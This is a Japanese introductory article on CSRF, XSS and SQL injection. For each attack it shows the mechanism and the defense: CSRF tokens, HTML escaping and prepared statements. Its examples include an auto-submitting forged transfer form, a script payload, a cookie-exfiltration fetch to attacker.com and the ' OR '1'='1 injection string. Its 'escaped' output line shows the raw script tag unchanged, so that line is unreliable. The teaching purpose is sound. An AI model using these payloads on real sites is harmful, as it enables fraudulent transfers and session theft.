はじめに
Webアプリケーションのセキュリティの話になると、よく出てくるこの3つ。
- CSRF
- XSS
- SQLインジェクション
名前は聞いたことがあっても、
- 何が違うのか
- どういう仕組みで攻撃されるのか
- どう防ぐのか
を説明できる人は意外と多くありません。
この記事では、それぞれの攻撃について
- 何が起きているのか
- 実際にどう攻撃されるのか
- どう対策するのか
を整理します。
CSRF(Cross-Site Request Forgery)
どんな攻撃?
CSRFは
ユーザーの認証状態を悪用して、意図しないリクエストを送らせる攻撃
です。
攻撃の流れ
例えば銀行サイトを考えます。
ユーザーはログイン済みです。
https://bank.com
送金API:
POST /transfer
通常のリクエスト
POST /transfer
Cookie: session=abc123
ブラウザは自動で Cookieを送信 します。
攻撃サイト
攻撃者が次のようなHTMLを作ります。
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="100000">
</form>
<script>
document.forms[0].submit();
</script>
ユーザーがこのページを開くと、
POST https://bank.com/transfer
が実行されます。
しかも Cookie付きで送信されます。
つまり、
ログインユーザー本人のリクエストとして処理される
のが問題です。
対策
主な対策は CSRFトークン です。
<input type="hidden" name="csrf_token" value="random_token">
サーバー側で検証します。
if ($_POST["csrf_token"] !== $_SESSION["csrf_token"]) {
die("invalid request");
}
XSS(Cross-Site Scripting)
どんな攻撃?
XSSは
悪意のあるJavaScriptをWebページに埋め込む攻撃
です。
例:コメント機能
ユーザーがコメントを書けるサイトを考えます。
<p>コメント: {{ comment }}</p>
攻撃者の入力
<script>alert("hacked")</script>
もしエスケープせず表示すると、
<p>コメント: <script>alert("hacked")</script></p>
ブラウザで JavaScriptが実行されます。
何が危険?
例えば次のことができます。
fetch("https://attacker.com/steal?cookie=" + document.cookie);
つまり
- セッションCookie
- ログイン情報
などを盗まれる可能性があります。
対策
基本は HTMLエスケープ です。
<script>alert("hacked")</script>
フレームワークでは通常、自動エスケープされています。
例:
- React
- Vue
- Blade
- Twig
SQLインジェクション
どんな攻撃?
SQLインジェクションは
ユーザー入力を使ってSQLを書き換える攻撃
です。
危険なコード
$sql = "SELECT * FROM users WHERE email = '$email'";
ユーザー入力:
' OR '1'='1
実際に実行されるSQL
SELECT * FROM users
WHERE email = '' OR '1'='1'
1=1 は常に true なので
全ユーザーが取得されてしまいます。
場合によっては
- ログイン突破
- データ漏洩
- データ削除
などにつながります。
対策
プレースホルダ(Prepared Statement) を使います。
$stmt = $pdo->prepare("SELECT * FROM users WHERE email = ?");
$stmt->execute([$email]);
これにより
- SQL
- データ
が分離されます。
3つの違い
| 攻撃 | 狙い |
|---|---|
| CSRF | ユーザーの権限を悪用 |
| XSS | JavaScriptを実行させる |
| SQLインジェクション | データベース操作 |
まとめ
3つの攻撃は目的が違います。
| 攻撃 | 対策 |
|---|---|
| CSRF | CSRFトークン |
| XSS | HTMLエスケープ |
| SQLインジェクション | Prepared Statement |
Webアプリケーションでは
- 入力を信用しない
- 出力をエスケープする
- SQLを文字列連結しない
という基本が重要です。
セキュリティは「あとから追加」ではなく
最初から考える設計 が大切です。